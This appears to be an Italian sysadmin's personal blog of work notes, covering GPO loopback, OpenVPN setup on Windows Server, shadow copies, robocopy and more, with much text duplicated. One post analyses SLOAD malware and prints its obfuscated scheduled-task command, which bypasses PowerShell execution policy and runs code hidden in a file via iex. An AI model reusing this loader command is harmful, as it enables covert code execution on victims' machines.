GPO Loopback policy
Vi rimando al seguente link dove tutto e' spiegato molto bene.
https://www.ictpower.it/guide/come-funziona-il-loopback-processing-mode-nelle-group-policy.htm
Breve riassunto, ma vi consiglio comunque di leggere l'articolo, molto ben fatto.
Ogni policy ha una parte computer ed una parte utente
La parte computer viene applicato all'account macchina
La parte utente viene applicata all'utente.
Ci sono casi particolari, i server terminal ne sono un tipico esempio, in cui desideriamo che un utente, all'accesso abbia applicate particolari policy, differenti da quelle normalmente applicate. E solo quando accede su terminal.
In questo caso ci aiutano le loopback group policy.
Prendiamo l'esempio di un terminal server chiamato TS1 a cui e' applicata una policy TSpolicy a cui accede User1 a cui e' normalmente applicata la policy Userpolicy.
Senza loopback policy
User1 si logga al terminal server. Le policy applicate sono quelle macchina di TSPolicy e quelle utente di Userpolicy
Con loopback policy - MERGE
User1 si logga al terminal server. Le policy applicate sono quelle macchina di TSPolicy e quelle utente di TSPolicy + quelle utente di Userpolicy
Con loopback policy - REPLACE
User1 si logga al terminal server. Le policy applicate sono quelle macchina di TSPolicy e quelle utente di TSPolicy
Per abilitare il loopback andare in:
Computer Configuration/Administrative Templates/System/Group Policy e modificare il parametro Configure user Group Policy loopback processing mode (nel nostro esempio dovremmo farlo su TSPolicy)
venerdì 13 settembre 2019
martedì 13 agosto 2019
Installare OPENVPN Community su server Windows
=========================================================
Un po di tempo fa e' nata l'esigenza di far accedere un cliente da remoto ad alcune applicazioni sul proprio PC. Per via di diverse limitazioni, anche economiche (doveva completamente attrezzarsi di firewall, adeguare le linee internet, acquistare un server ecc. ecc.) mi e' sembrato piu semplice usare un server in cloud, RDP, su cui installare le applicazioni da usare
=========================================================
INTRODUZIONE
Usare OPENVPN Community edition che e' leggermente piu macchinoso da installare, ma che esiste anche in versione Windows e soprattutto
non ha la limitazione di max. 2 client contemporanei
Il server tipo di questa installazione ha min. 2 schede di rete. Eventuali schede di rete aggiuntive verranno disattivate
La prima scheda di rete ha indirizzo IP pubblico, mentre la seconda un IP privato (192.168.11.1/24).
L'unico firewall che verra' utilizzato e' quello di Windows, con le seguenti regole:
- una regola per bloccare in ingresso l'accesso RDP da qualsiasi IP tranne quello pubblico di provenienza
- una regola per consentire in ingresso l'accesso RDP dal proprio IP pubblico
- una regola per consentire in ingresso l'accesso UDP/1194 da qualsiasi IP
Tutte le altre regole verranno disabilitate.
Installando OpenVPN viene aggiunta una terza scheda di rete TAP (bridge mode) o TUN(routing). Nel nostro caso useremo la modalita
routing. Utilizzando le impostazioni di default, OpenVPN funziona in modalita' routing, con l'interfaccia TUN.
In questa modalita viene assegnato da OpenVPN un indirizzo ip appartenente ad un range di una rete di trasporto, che DEVE essere diverso
da quello della interfaccia locale. Il client OpenVPN potrebbe prendersi un indirizzo tipo 10.8.0.12/24, mentre la LAN locale a cui deve
accedere e' 192.168.11.0/24. Se tutto cio che abbiamo fatto sopra funziona, il client potra raggiungere l'ip del server sulla rete di
trasporto (10.8.0.0/24), e potra pingarlo. Cio che non potra fare, e' raggiungere l'interfaccia locale, con indirizzamento 192.168.11.1
(salvo le modifiche da effettuare sotto). A questo punto, se il cliente riesce a pingare il server sull'interfaccia di trasporto, e
necessario effettuare alcune configurazioni aggiungive
=========================================================
=========================================================
CONFIGURAZIONE SERVER
CAMBIO NOME MACCHINA
Non installare alcun software (SQL, OpenVPN) senza aver prima cambiato il NOME HOST.
Inoltre andare in pannello di controllo/sistema/nome computer/cambia impostazioni/change/more... ed aggingere nella casella
Primary DNS suffix of this computer: zappologenova.it (oppure il nome dominio desiderato).
=========================================================
=========================================================
CONFIGURAZIONE WINDOWS FIREWALL (parte 1)
Suppontendo che l'IP pubblico sia 71.72.73.75
Appena verra avviata la macchina, questa sara raggiungibile tramite RDP da qualsiasi ip di provenienza. Occorre limitare subito gli IP
dai quali ci si puo connettere (tranne il proprio, ovviamente). Per fare questo occorre creare una regola che blocca gli intervalli di
IP (1.1.1.1 - 71.72.73.74 e 71.72.73.76 - 255.255.255.255, lasciando fuori 71.72.73.74) e crearne una seconda che consente la
connessione RDP per l'ip specifico. I seguenti comandi creano le regole di firewall:
netsh advfirewall firewall add rule name="RDP Block" dir=in action=block protocol=tcp localport=3389 enable=yes profile=any remoteip="1.1.1.1-10.7.0.255,10.9.0.1-71.72.73.74,71.72.73.76-255.255.255.255"
netsh advfirewall firewall add rule name="RDP Allow" dir=in action=allow protocol=tcp localport=3389 enable=yes profile=any remoteip="10.8.0.1-10.8.0.255,71.72.73.75"
netsh advfirewall firewall add rule name="OPENVPN" dir=in action=allow protocol=UDP localport=1194 enable=yes profile=any
lasciare abilitato anche il ping per il controllo del corretto funzionamento dell'host.
Eventualmente aggiungere delle regole per OPENVPN basate sugli eseguibili oltre a quelle che utilizzano i protocolli di rete.
Disabilitare tutte le altre regole.
=========================================================
=========================================================
INSTALLAZIONE E CONFIGURAZIONE RRAS
Installare il componente RRAS (remote access) dalla console di server manager e riavviare
Configurare il remote access con il quick wizard ed abilitare il servizio (custom configuration/routing)
Eseguire il seguente comando in powershell per installare remote access
install-WindowsFeature RemoteAccess,DirectAccess-VPN,Routing -IncludeManagementTools
=========================================================
=========================================================
ABILITAZIONE INOLTRO IP
Modificare il valore della seguente voce di registro da 0 ad 1
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"IPEnableRouter"=dword:00000001
e riavviare
p.s. senza questa modifica ed usando la modalita routing di OpenVPN, e' possibile pingare e raggiungere solo l'ip sulla rete di trasporto
(10.8.0.1). Gli IP sulla rete interna (192.168.11.1) non sarebbero raggiungibili. Grazie all'installazione dell'RRAS e di questa modifica
al registro di Windows, sara possibile raggiungere gli ip anche sulla rete interna locale, e di conseguenza eventuali altri host sulla
LAN.
=========================================================
=========================================================
INSTALLAZIONE OPENVPN
Scaricare ed installare OpenVPN dal seguente link:
https://openvpn.net/index.php/open-source/downloads.html
La versione client e server sono identiche. Si differenziano solo per i file di configurazione ed alcuni passaggi in piu per la certification authority.
Al termine dell'installazione riavviare il server.
IMPORTANTE
Durante l'installazione ricordarsi di selezionare la voce easy-rsa 2 (certificate management script).
Senza non sarebbe possibile eseguire tutta la parte di creazione dei certificati.
=========================================================
=========================================================
PROFILI DI RETE
Per evitare l'insorgere di problematiche e' bene che tutte le schede di rete appartengano al profilo privato. Il modo piu veloce e' il
seguente (da powershell)
Get-NetConnectionProfile | Set-NetConnectionProfile -NetworkCategory Private
Tutte le connessioni appartengono al profilo privato.
=========================================================
=========================================================
CONFIGURAZIONE
I nomi assegnati ai certificati non sono importanti. Devono solo combaciare tra server e client.
Quando creeremo i certificati per il server possiamo usare SERVER come CN e client1, client2 ecc. per i singoli client
Non vengono creati nomi utente e password, ma solo certificati per l'autenticazione. E possibile aggiungere una password al certificato.
GENERAZIONE CERTIFICATI
andare in C:\Program Files\OpenVPN\easy-rsa>
I passaggi per creare i certificati sono abbastanza semplici:
- init-config
- notepad vars.bat (modificare i parametri necessari nelle domande del certificato)
ES vars.bat modificato
set KEY_COUNTRY=IT
set KEY_PROVINCE=GE
set KEY_CITY=GENOA
set KEY_ORG=OpenVPN
set KEY_EMAIL=info@ortopediamilano.it
set KEY_CN=omsrv01.ortopediamilano.it
set KEY_NAME=omsrv01
set KEY_OU=EDP
set PKCS11_MODULE_PATH=changeme
set PKCS11_PIN=1234
- vars.bat
- clean-all
- build-ca
- build-key-server server
ES: build-key-server omsrv01
- build-key client1
ES: build-key lagustena01
- build-dh
CONFIGURATION FILES
SERVER CONF FILE
Andare in "c:\Program Files\OpenVPN\sample-config" e copiare i file dentro config
1 - correggere i percorsi dei certificati (e' importante usare le doppie barre):
ca "C:\\Program Files\\OpenVPN\\config\\ca.crt"
cert "C:\\Program Files\\OpenVPN\\config\\server.crt"
key "C:\\Program Files\\OpenVPN\\config\\server.key" # This file should be kept secret
2 - un po piu sotto:
dh "C:\\Program Files\\OpenVPN\\config\\dh2048.pem"
3 - push "route 192.168.11.0 255.255.255.0" (supponendo che la schede di rete interna abbia come indirizzo 192.168.11.1/24)
4 - commentare la riga (nel caso e' possibile usare anche questo meccanismo per incrementare la sicurezza)
tls-auth ta.key 0 # This file is secret
in
#by trap tls-auth ta.key 0 # This file is secret
5 - aggiungere questa riga per la shell di management (la scelta della porta e' arbitraria). Collegarsi in SSH
management localhost 7505
CLIENT CONF FILE
Andare in "c:\Program Files\OpenVPN\sample-config" e copiare i file dentro config
1 - cambiare la riga
remote myserver-1 1194
in
remote FQDN 1194 (remote server.zappologenova.it)
2 - Commentare la riga
tls-auth ta.key 1
#by trap tls-auth ta.key 1
=========================================================
=========================================================
COPIA CONF FILES E CERTIFICATI
Dentro alla cartella "C:\Program Files\OpenVPN\sample-config" sono situati i file di configurazione modificati in precedenza, sia per il server che per i client
Dentro alla cartella "C:\Program Files\OpenVPN\easy-rsa\keys" ci sono i certificati generati in precedenza per CA, server e client.
SERVER
Copiare tutti i certificati dentro alla cartella "C:\Program Files\OpenVPN\config"
Copiare SOLO il file di configurazione del server dentro alla cartella "C:\Program Files\OpenVPN\config"
Riavviare
CLIENT
Copiare SOLO i files del certificato del client (*.crt, *.key, *.csr) ed il file di configurazione relativo dentro alla cartella "C:\Program Files\OpenVPN\config"
=========================================================
=========================================================
CONFIGURAZIONE CLIENT
Aggiungere il nome usato per il certificato al file hosts di Windows
Nel caso sopra ho aggiunto i nomi SERVER e server.zappologenova.it
=========================================================
=========================================================
LINK UTILI
GUIDA INSTALLAZIONE
https://community.openvpn.net/openvpn/wiki/Easy_Windows_Guide
OpenVPN (community edition)
https://openvpn.net/index.php/open-source/downloads.html
WINDOWS IP FORWARDING
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc962461(v=technet.10)
=========================================================
Un po di tempo fa e' nata l'esigenza di far accedere un cliente da remoto ad alcune applicazioni sul proprio PC. Per via di diverse limitazioni, anche economiche (doveva completamente attrezzarsi di firewall, adeguare le linee internet, acquistare un server ecc. ecc.) mi e' sembrato piu semplice usare un server in cloud, RDP, su cui installare le applicazioni da usare
=========================================================
=========================================================
INTRODUZIONE
Usare OPENVPN Community edition che e' leggermente piu macchinoso da installare, ma che esiste anche in versione Windows e soprattutto
non ha la limitazione di max. 2 client contemporanei
Il server tipo di questa installazione ha min. 2 schede di rete. Eventuali schede di rete aggiuntive verranno disattivate
La prima scheda di rete ha indirizzo IP pubblico, mentre la seconda un IP privato (192.168.11.1/24).
L'unico firewall che verra' utilizzato e' quello di Windows, con le seguenti regole:
- una regola per bloccare in ingresso l'accesso RDP da qualsiasi IP tranne quello pubblico di provenienza
- una regola per consentire in ingresso l'accesso RDP dal proprio IP pubblico
- una regola per consentire in ingresso l'accesso UDP/1194 da qualsiasi IP
Tutte le altre regole verranno disabilitate.
Installando OpenVPN viene aggiunta una terza scheda di rete TAP (bridge mode) o TUN(routing). Nel nostro caso useremo la modalita
routing. Utilizzando le impostazioni di default, OpenVPN funziona in modalita' routing, con l'interfaccia TUN.
In questa modalita viene assegnato da OpenVPN un indirizzo ip appartenente ad un range di una rete di trasporto, che DEVE essere diverso
da quello della interfaccia locale. Il client OpenVPN potrebbe prendersi un indirizzo tipo 10.8.0.12/24, mentre la LAN locale a cui deve
accedere e' 192.168.11.0/24. Se tutto cio che abbiamo fatto sopra funziona, il client potra raggiungere l'ip del server sulla rete di
trasporto (10.8.0.0/24), e potra pingarlo. Cio che non potra fare, e' raggiungere l'interfaccia locale, con indirizzamento 192.168.11.1
(salvo le modifiche da effettuare sotto). A questo punto, se il cliente riesce a pingare il server sull'interfaccia di trasporto, e
necessario effettuare alcune configurazioni aggiungive
=========================================================
CONFIGURAZIONE SERVER
CAMBIO NOME MACCHINA
Non installare alcun software (SQL, OpenVPN) senza aver prima cambiato il NOME HOST.
Inoltre andare in pannello di controllo/sistema/nome computer/cambia impostazioni/change/more... ed aggingere nella casella
Primary DNS suffix of this computer: zappologenova.it (oppure il nome dominio desiderato).
=========================================================
CONFIGURAZIONE WINDOWS FIREWALL (parte 1)
Suppontendo che l'IP pubblico sia 71.72.73.75
Appena verra avviata la macchina, questa sara raggiungibile tramite RDP da qualsiasi ip di provenienza. Occorre limitare subito gli IP
dai quali ci si puo connettere (tranne il proprio, ovviamente). Per fare questo occorre creare una regola che blocca gli intervalli di
IP (1.1.1.1 - 71.72.73.74 e 71.72.73.76 - 255.255.255.255, lasciando fuori 71.72.73.74) e crearne una seconda che consente la
connessione RDP per l'ip specifico. I seguenti comandi creano le regole di firewall:
netsh advfirewall firewall add rule name="RDP Block" dir=in action=block protocol=tcp localport=3389 enable=yes profile=any remoteip="1.1.1.1-10.7.0.255,10.9.0.1-71.72.73.74,71.72.73.76-255.255.255.255"
netsh advfirewall firewall add rule name="RDP Allow" dir=in action=allow protocol=tcp localport=3389 enable=yes profile=any remoteip="10.8.0.1-10.8.0.255,71.72.73.75"
netsh advfirewall firewall add rule name="OPENVPN" dir=in action=allow protocol=UDP localport=1194 enable=yes profile=any
lasciare abilitato anche il ping per il controllo del corretto funzionamento dell'host.
Eventualmente aggiungere delle regole per OPENVPN basate sugli eseguibili oltre a quelle che utilizzano i protocolli di rete.
Disabilitare tutte le altre regole.
=========================================================
INSTALLAZIONE E CONFIGURAZIONE RRAS
Installare il componente RRAS (remote access) dalla console di server manager e riavviare
Configurare il remote access con il quick wizard ed abilitare il servizio (custom configuration/routing)
Eseguire il seguente comando in powershell per installare remote access
install-WindowsFeature RemoteAccess,DirectAccess-VPN,Routing -IncludeManagementTools
=========================================================
ABILITAZIONE INOLTRO IP
Modificare il valore della seguente voce di registro da 0 ad 1
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"IPEnableRouter"=dword:00000001
e riavviare
p.s. senza questa modifica ed usando la modalita routing di OpenVPN, e' possibile pingare e raggiungere solo l'ip sulla rete di trasporto
(10.8.0.1). Gli IP sulla rete interna (192.168.11.1) non sarebbero raggiungibili. Grazie all'installazione dell'RRAS e di questa modifica
al registro di Windows, sara possibile raggiungere gli ip anche sulla rete interna locale, e di conseguenza eventuali altri host sulla
LAN.
=========================================================
INSTALLAZIONE OPENVPN
Scaricare ed installare OpenVPN dal seguente link:
https://openvpn.net/index.php/open-source/downloads.html
La versione client e server sono identiche. Si differenziano solo per i file di configurazione ed alcuni passaggi in piu per la certification authority.
Al termine dell'installazione riavviare il server.
IMPORTANTE
Durante l'installazione ricordarsi di selezionare la voce easy-rsa 2 (certificate management script).
Senza non sarebbe possibile eseguire tutta la parte di creazione dei certificati.
=========================================================
PROFILI DI RETE
Per evitare l'insorgere di problematiche e' bene che tutte le schede di rete appartengano al profilo privato. Il modo piu veloce e' il
seguente (da powershell)
Get-NetConnectionProfile | Set-NetConnectionProfile -NetworkCategory Private
Tutte le connessioni appartengono al profilo privato.
=========================================================
CONFIGURAZIONE
I nomi assegnati ai certificati non sono importanti. Devono solo combaciare tra server e client.
Quando creeremo i certificati per il server possiamo usare SERVER come CN e client1, client2 ecc. per i singoli client
Non vengono creati nomi utente e password, ma solo certificati per l'autenticazione. E possibile aggiungere una password al certificato.
GENERAZIONE CERTIFICATI
andare in C:\Program Files\OpenVPN\easy-rsa>
I passaggi per creare i certificati sono abbastanza semplici:
- init-config
- notepad vars.bat (modificare i parametri necessari nelle domande del certificato)
ES vars.bat modificato
set KEY_COUNTRY=IT
set KEY_PROVINCE=GE
set KEY_CITY=GENOA
set KEY_ORG=OpenVPN
set KEY_EMAIL=info@ortopediamilano.it
set KEY_CN=omsrv01.ortopediamilano.it
set KEY_NAME=omsrv01
set KEY_OU=EDP
set PKCS11_MODULE_PATH=changeme
set PKCS11_PIN=1234
- vars.bat
- clean-all
- build-ca
- build-key-server server
ES: build-key-server omsrv01
- build-key client1
ES: build-key lagustena01
- build-dh
CONFIGURATION FILES
SERVER CONF FILE
Andare in "c:\Program Files\OpenVPN\sample-config" e copiare i file dentro config
1 - correggere i percorsi dei certificati (e' importante usare le doppie barre):
ca "C:\\Program Files\\OpenVPN\\config\\ca.crt"
cert "C:\\Program Files\\OpenVPN\\config\\server.crt"
key "C:\\Program Files\\OpenVPN\\config\\server.key" # This file should be kept secret
2 - un po piu sotto:
dh "C:\\Program Files\\OpenVPN\\config\\dh2048.pem"
3 - push "route 192.168.11.0 255.255.255.0" (supponendo che la schede di rete interna abbia come indirizzo 192.168.11.1/24)
4 - commentare la riga (nel caso e' possibile usare anche questo meccanismo per incrementare la sicurezza)
tls-auth ta.key 0 # This file is secret
in
#by trap tls-auth ta.key 0 # This file is secret
5 - aggiungere questa riga per la shell di management (la scelta della porta e' arbitraria). Collegarsi in SSH
management localhost 7505
CLIENT CONF FILE
Andare in "c:\Program Files\OpenVPN\sample-config" e copiare i file dentro config
1 - cambiare la riga
remote myserver-1 1194
in
remote FQDN 1194 (remote server.zappologenova.it)
2 - Commentare la riga
tls-auth ta.key 1
#by trap tls-auth ta.key 1
=========================================================
COPIA CONF FILES E CERTIFICATI
Dentro alla cartella "C:\Program Files\OpenVPN\sample-config" sono situati i file di configurazione modificati in precedenza, sia per il server che per i client
Dentro alla cartella "C:\Program Files\OpenVPN\easy-rsa\keys" ci sono i certificati generati in precedenza per CA, server e client.
SERVER
Copiare tutti i certificati dentro alla cartella "C:\Program Files\OpenVPN\config"
Copiare SOLO il file di configurazione del server dentro alla cartella "C:\Program Files\OpenVPN\config"
Riavviare
CLIENT
Copiare SOLO i files del certificato del client (*.crt, *.key, *.csr) ed il file di configurazione relativo dentro alla cartella "C:\Program Files\OpenVPN\config"
=========================================================
CONFIGURAZIONE CLIENT
Aggiungere il nome usato per il certificato al file hosts di Windows
Nel caso sopra ho aggiunto i nomi SERVER e server.zappologenova.it
=========================================================
LINK UTILI
GUIDA INSTALLAZIONE
https://community.openvpn.net/openvpn/wiki/Easy_Windows_Guide
OpenVPN (community edition)
https://openvpn.net/index.php/open-source/downloads.html
WINDOWS IP FORWARDING
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc962461(v=technet.10)
=========================================================
Appunti misti (di informatica)
Perché ho pensato di pubblicare questo blog?
Perché sono stufo di fare le cose e dimenticarmi come le ho fatte!!!
Scherzo, ma solo in parte... Ad una certa eta la memoria comincia a difettare :)
Di solito, quando faccio dei lavori, mi mando via mail degli appunti raffazzonati e non sempre comprensibili. Difficilmente scrivo delle note più complete. In questo modo mi obbligo a farlo, ed inoltre ho i miei appunti sempre a portata di mano. Cosi ho cominciato a scrivere questa sorta di diario di lavoro. Mi e' già capito di tornare qui per cercare cose già fatte, e solo per questo posso già considerarlo un investimento di tempo utile.
Se poi sara utile anche a qualcun altro, non potrò che esserne felice. Anche se ammetto di non fare molto per pubblicizzarlo! :).
Il senso di questo post?
Nessuno.
Il precedente post era il 17°, ed anche se non sono superstizioso, non si sa mai. Questo e' il diciottesimo :)
Ciao
Perché sono stufo di fare le cose e dimenticarmi come le ho fatte!!!
Scherzo, ma solo in parte... Ad una certa eta la memoria comincia a difettare :)
Di solito, quando faccio dei lavori, mi mando via mail degli appunti raffazzonati e non sempre comprensibili. Difficilmente scrivo delle note più complete. In questo modo mi obbligo a farlo, ed inoltre ho i miei appunti sempre a portata di mano. Cosi ho cominciato a scrivere questa sorta di diario di lavoro. Mi e' già capito di tornare qui per cercare cose già fatte, e solo per questo posso già considerarlo un investimento di tempo utile.
Se poi sara utile anche a qualcun altro, non potrò che esserne felice. Anche se ammetto di non fare molto per pubblicizzarlo! :).
Il senso di questo post?
Nessuno.
Il precedente post era il 17°, ed anche se non sono superstizioso, non si sa mai. Questo e' il diciottesimo :)
Ciao
WINDOWS 10 SHADOW COPY
Windows 10 e Shadow copy
Nelle proprietà disco di Windows 10 c'e' il tab Previous version/versioni precedenti. La cosa che mi sfugge e' come fare a schedularle. Nei Sistemi operativi server c'e' un tab Shadow copy per configurarle. In windows 10 no!. sembra che Microsoft abbia voluto rimpiazzare questa funzione con la file history, nelle funzioni di backup, anche se non e' proprio la stessa cosa. Insomma per creare a mano una shadow copy ho trovato due metodi a linea di comando, che riporto sotto. Per quanto mi riguarda, ho usato la prima poiché la seconda e' deprecata da windows server 2012 in poi. Il vantaggio della linea di comando, e' la possibilità di schedulare l'operazione tramite task manager, nello stesso modo in cui si faceva in precedenza.
POWERSHELL (admin mode)
Invoke-WmiMethod -Class Win32_ShadowCopy -Name Create -ArgumentList ('ClientAccessible', 'C:\')
TASK SCHEDULER
Per schedulare le shadow copy in powershell con il task manager:
ESEGUIBILE:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
PARAMETRI:
Invoke-WmiMethod -Class Win32_ShadowCopy -Name Create -ArgumentList ('ClientAccessible', 'C:\')
E' possibile usare alcuni metodi per esplorare le shadow copy nel caso in cui non fossero visibili tramite il tab "PREVIOUS VERSION". Il primo e' quello di accedere in \\localhost\c$, e verificare se in questo modo il tab ne mostra di visibili.
Nelle proprietà disco di Windows 10 c'e' il tab Previous version/versioni precedenti. La cosa che mi sfugge e' come fare a schedularle. Nei Sistemi operativi server c'e' un tab Shadow copy per configurarle. In windows 10 no!. sembra che Microsoft abbia voluto rimpiazzare questa funzione con la file history, nelle funzioni di backup, anche se non e' proprio la stessa cosa. Insomma per creare a mano una shadow copy ho trovato due metodi a linea di comando, che riporto sotto. Per quanto mi riguarda, ho usato la prima poiché la seconda e' deprecata da windows server 2012 in poi. Il vantaggio della linea di comando, e' la possibilità di schedulare l'operazione tramite task manager, nello stesso modo in cui si faceva in precedenza.
POWERSHELL (admin mode)
Invoke-WmiMethod -Class Win32_ShadowCopy -Name Create -ArgumentList ('ClientAccessible', 'C:\')
WMIC (deprecato da Windows 2012 server in poi)
WMIC shadowcopy call Create Volume=C:\
TASK SCHEDULER
Per schedulare le shadow copy in powershell con il task manager:
ESEGUIBILE:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
PARAMETRI:
Invoke-WmiMethod -Class Win32_ShadowCopy -Name Create -ArgumentList ('ClientAccessible', 'C:\')
E' possibile usare alcuni metodi per esplorare le shadow copy nel caso in cui non fossero visibili tramite il tab "PREVIOUS VERSION". Il primo e' quello di accedere in \\localhost\c$, e verificare se in questo modo il tab ne mostra di visibili.
Il secondo e' di usare alcuni tool di cui sotto riporto i link, oltre a riferimenti ad articoli che mi hanno dato le dritte corrette (ad esseri onesti anche molto di piu)
CALCOLARE QUANTO SPAZIO OCCUPANO LE SHADOW COPIES
vssadmin list shadowstorage
p.s. il numero massimo di shadow copies e' 64. Superate le 64, oppure il limite di spazio preimpoststo (l'impostazione predefinita e' il 10% dello spazio disco), le piyu recenti sovrascrivono le piu vecchie.
p.s. 2 le shadows copies funzionano solo con volumi NTFS
REFERENCE
https://devblogs.microsoft.com/scripting/should-i-use-cim-or-wmi-with-windows-powershell/
vssadmin list shadowstorage
p.s. il numero massimo di shadow copies e' 64. Superate le 64, oppure il limite di spazio preimpoststo (l'impostazione predefinita e' il 10% dello spazio disco), le piyu recenti sovrascrivono le piu vecchie.
p.s. 2 le shadows copies funzionano solo con volumi NTFS
REFERENCE
https://devblogs.microsoft.com/scripting/should-i-use-cim-or-wmi-with-windows-powershell/
https://techjourney.net/there-are-no-previous-versions-available-not-showing-not-listed-in-windows-10/
https://www.shadowexplorer.com/downloads.html
http://www.nirsoft.net/utils/shadow_copy_view.html
https://www.nicbedford.co.uk/software/systemrestoreexplorer/
http://pcassistsoftware.co.uk/
https://sourceforge.net/projects/vistaprevrsrcvr/
http://www.nirsoft.net/utils/shadow_copy_view.html
https://www.nicbedford.co.uk/software/systemrestoreexplorer/
http://pcassistsoftware.co.uk/
https://sourceforge.net/projects/vistaprevrsrcvr/
venerdì 26 luglio 2019
Malware in powershell - SLOAD Powershell threat
Oggi mi sono imbattuto in un virus
che mi ha leggermente incuriosito.
Nel task manager era schedulato un
job che esegue il seguente comando.
Il sintomo è che durante l'utilizzo
del PC, ogni due minuti appariva un prompt dei comandi che eseguiva taskeng.
C:\Windows\system32\cmd.exe /c pow%tmp:~5,3%hell /ep bypass /win 1 /c
"&{cd %public:~-15,9%;$y=ls -force -r -in comu*.*|select -last 1;$y=gc
-LiteralPath $y|select -last 1;iex $y}"
Mi ha incuriosito perche di primo
acchito non ho capito pressoché nulla, cosi ho pensato di tradurlo...
Chiariti un paio di dettagli
diventa leggermente piu facile interpretarlo:
Parametri Powershell. E possible avviare powershell usando una
serie di parametri. Nel nostro caso:
/ep bypass = imposta l'execution
policy dello script in bypass per poter eseguire i comandi seguenti senza
restrizioni (-ExecutionPolicy | -ex | -ep)
/win 1 = imposta la modalita della finestra windowstyle (Valid values
are Normal, Minimized, Maximized and Hidden)
/c Esegue una comando
Molti comandi in powershell possono
essere abbreviati usando degli alias:
ls = get-childitem
gc = get-content
iex = invoke-expression
Per visualizzare il contenuto di
una variabile basta aprire un prompt dei comandi ed usare il comando echo.
ES:
echo %tmp:~5,3% = "ers" (leggi
la variabile %tmp%, e di questa, partendo dal quinto carattere,
prendi i primi tre consecutivi.
%tmp% = C:\Users\xxxxxxx\AppData\Local\Temp
%tmp:~5,3% (leggi tre caratteri
partendo dal quinto carattere della variabile %tmp%)
echo %public:~-15,9% = "C:\Users"
In sintesi il comando apre una
powershell con permessi elevati e senza limitazioni ed esegue un comando
scritto in un file
TRADUZIONE
C:\Windows\system32\cmd.exe /c =
apri un prompt dei comandi ed esegui quanto segue
pow%tmp:~5,3%hell =
dalla variabile %tmp% leggi tre caratteri partendo dal quinto. Corrisponde alla
string "ers"
/c "&{cd %public:~-15,9%;$y=ls -force -r -in comu*.*|select -last 1;$y=gc -LiteralPath $y|select -last 1;iex $y}" (esegue un comando)
/c "&{cd %public:~-15,9%;$y=ls -force -r -in comu*.*|select -last 1;$y=gc -LiteralPath $y|select -last 1;iex $y}" (esegue un comando)
cd %public:~-15,9% = cd c:\Users
$y=ls -force -r -in
comu*.*|select -last 1
- cerca nella cartella c:\users e rispettive sottocartelle tutti i file che iniziano per comu*.* e seleziona l'ultimo
$y=gc -LiteralPath $y|select -last 1
- del file selezionato legge tutte le righe una ad una e seleziona l'ultima. Literlpath e' un parametro che impedisce l'interpretazione dei caratteri speciali.
No literal path c:\%zzz%mondo = c:\ciaomondo
Literal path c:\%zzz%mondo = c:\%zzz%mondo
iex $y
- esegue il comando $y
Direi che manca ancora qualche pezzo da mettere insieme...
RIFERIMENTI
https://security.stackexchange.com/questions/213942/undetected-trojan-what-type-of-scheduled-task-is-this/213950
https://www.bleepingcomputer.com/forums/t/701329/undetected-trojan/
https://docs.microsoft.com/it-it/powershell/module/Microsoft.PowerShell.Core/About/about_pwsh?view=powershell-6
https://docs.microsoft.com/it-it/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1
https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/
https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/
martedì 16 luglio 2019
Esportazione shares
Export shares and restore by registry
https://support.microsoft.com/en-us/help/125996/saving-and-restoring-existing-windows-shares
script to export shares permission on files
https://gallery.technet.microsoft.com/scriptcenter/List-Share-Permissions-83f8c419
https://support.microsoft.com/en-us/help/125996/saving-and-restoring-existing-windows-shares
script to export shares permission on files
https://gallery.technet.microsoft.com/scriptcenter/List-Share-Permissions-83f8c419
Spostamento file server - Robocopy bug
Durante lo spostamento di un file server usando Robocopy mi e' successa una cosa molto particolare.
Ho dimenticato di escludere la cartella "c:\documents and setting" e SOPRATTUTTO di usare il parametro /xj per escludere i junction point (o soft link). Sul disco di destinazione mi sono trovato una cartella d:\user che ripeteva all'infinito il proprio contenuto. Non era possibile cancellare il contenuto a mano.
in primo luogo ho pensato di resettare i permessi, poiche alcune cartelle non consentivano l'accesso. Risolto il problema dell'accesso alle sottocartelle bloccate, mi sono reso conto che contenevano le stesse cartelle all'infinito.
Per resettare i permessi di file system sulla cartella ho usato il comando:
icacls d:\a\* /reset /q /c /t
Dopodiche ho usato il comando PURGE di robocopy
robocopy d:\log d:\a /purge (ho forzato l'allineamento della cartella inciriminata con una vuota che non contiene junction point)
Forse ho trovato un bug di robocopy... o magari dovevo fare piu attenzione io?!?
Riferimenti
https://www.2brightsparks.com/resources/articles/NTFS-Hard-Links-Junctions-and-Symbolic-Links.pdf
Ho dimenticato di escludere la cartella "c:\documents and setting" e SOPRATTUTTO di usare il parametro /xj per escludere i junction point (o soft link). Sul disco di destinazione mi sono trovato una cartella d:\user che ripeteva all'infinito il proprio contenuto. Non era possibile cancellare il contenuto a mano.
in primo luogo ho pensato di resettare i permessi, poiche alcune cartelle non consentivano l'accesso. Risolto il problema dell'accesso alle sottocartelle bloccate, mi sono reso conto che contenevano le stesse cartelle all'infinito.
Per resettare i permessi di file system sulla cartella ho usato il comando:
icacls d:\a\* /reset /q /c /t
Dopodiche ho usato il comando PURGE di robocopy
robocopy d:\log d:\a /purge (ho forzato l'allineamento della cartella inciriminata con una vuota che non contiene junction point)
Forse ho trovato un bug di robocopy... o magari dovevo fare piu attenzione io?!?
Riferimenti
https://www.2brightsparks.com/resources/articles/NTFS-Hard-Links-Junctions-and-Symbolic-Links.pdf
Infinite recurse on file system
https://devblogs.microsoft.com/oldnewthing/?p=36883
https://devblogs.microsoft.com/oldnewthing/?p=36883
lunedì 15 luglio 2019
DROPBOX AS A SERVICE
I software come Dropbox, Onedrive ecc. ecc. sono molto comodi, ma richiedono l'accesso con un utente. In alcuni e' possibile bypassare questo limite installandoli ed eseguendoli come servizio in Windows. Un software datato, ma molto conosciuto, e' SRVANY, del vecchio toolkit di Windows.
Nel mio caso ho usato NSSM (http://nssm.cc/). software carino e gratuito.
Usando tale software e' possibile avviare l'eseguibile di dropbox client come servizio. Occorre fare attenzione ad alcuni dettagli.
